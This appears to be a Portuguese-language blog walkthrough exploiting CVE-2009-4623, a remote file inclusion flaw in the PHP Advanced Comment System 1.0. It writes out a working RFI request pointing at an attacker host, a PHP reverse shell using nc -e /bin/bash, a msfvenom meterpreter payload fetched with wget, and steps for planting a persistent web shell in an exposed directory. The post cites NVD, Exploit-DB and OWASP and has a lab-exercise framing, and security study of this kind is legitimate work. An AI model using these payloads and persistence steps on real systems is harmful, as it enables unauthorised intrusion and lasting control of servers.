Advanced Comment System - v1.0 - Exploit - Remote File Inclusion

Advanced Comment System - v1.0 é um script PHP usado por desenvolvedores para criar uma área de comentário em um site. Em 2010 foi publicada a CVE-2009-4623 para a vulnerabilidade Remote File Inclusion.

CVE-2009-4623 - Remote File Inclusion 

Vulnerabilidade permite executar códigos a partir de requisições GET usando o parametro ACS_path nos endpoints index.php e admin.php 

Exploit-DB Publicação

O exploit 9623 foi publicado em 10-09-2009 com os detalhes para explorar a vulnerabilidade RFI

OWASP Definição

A vulnerabilidade Remote File Inclusion permite que um atacante faça a inclusão de um arquivo em um parametro da aplicação. Essa vulnerabilidade ocorre no mecanismo de "inclusão dinamica de arquivo"  onde o input do usuário não é validado de forma adequada. 

O script Advanced Comment System através do parametro ACS_path nos endpoints index.php e admin.php não faz a validação do input de um usuário, como consequência um arquivo remoto pode ser executado pela aplicação. 

POC - Prova de Conceito

Localiza a área de comentário do site. 


Localiza os endpoints index.php e admin.php e faz a validação se estão acessíveis. 

index.php 

admin.php

Na máquina do atacante é executado um serviço web temporário com Python3


Serviço Web com Python3 


Na aplicação faça o envio da requisição GET para o endpoint admin.php com o parametro ACS_path

http://TARGET/acs/admin.php?ACS_path=http://ATTACKER:9090/reverseshell.php? 


Execução da Shell Reversa

No arquivo reverseshell.php o comando para executar a shell reversa é: 

<?php system("/bin/nc 172.20.1.26 3535 -e /bin/bash"); ?>


Shell Reversa


Persistência 

O próximo passo depois de conseguir acesso através de uma shell-reversa é manter o acesso sem precisar executar novamente todo o ataque. Em um cenário onde, além da vulnerabilidade RFI, a aplicação também tenha listagem de diretório habilitada, é possível adicionar uma shell no servidor e, dessa forma, manter a persistência do acesso no ambiente. 



Uma vez identificado a listagem de diretório habilitada no servidor, podemos criar uma nova shell com o msfvenom e adicionar no diretório ../acs/img/

msfvenom -p php/meterpreter_reverse_tcp LHOST=[IP LOCAL] IP=[PORTA] -f raw > shell.php


No diterório ../acs/img/ com WGET o donwload da shell pode ser feito. 

wget http://172.20.1.26:9090/shell.php



No metasploit, usando o módulo Multi/Handler habilita a o listening para receber a conexão reversa. 



Executa a shell.php a partir do diretório exposto. 


Conexão estabelecida. 


Todas as vezes em que for necessário acessar o servidor durante o ataque, a shell no diretório ../acs/img pode ser utilizada. 

Github

No meu github disponibilizei um script em Python3 para envio da requisição GET e do payload apontando para o arquivo remoto com o código da shell reversa. 


Referências: 

[+] CVE-2009-4623: https://nvd.nist.gov/vuln/detail/CVE-2009-4623

[+] Exploit-DB-9623: https://www.exploit-db.com/exploits/9623

[+] OWASP-Remote File Inclusion: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion







Comentários

Postagens mais visitadas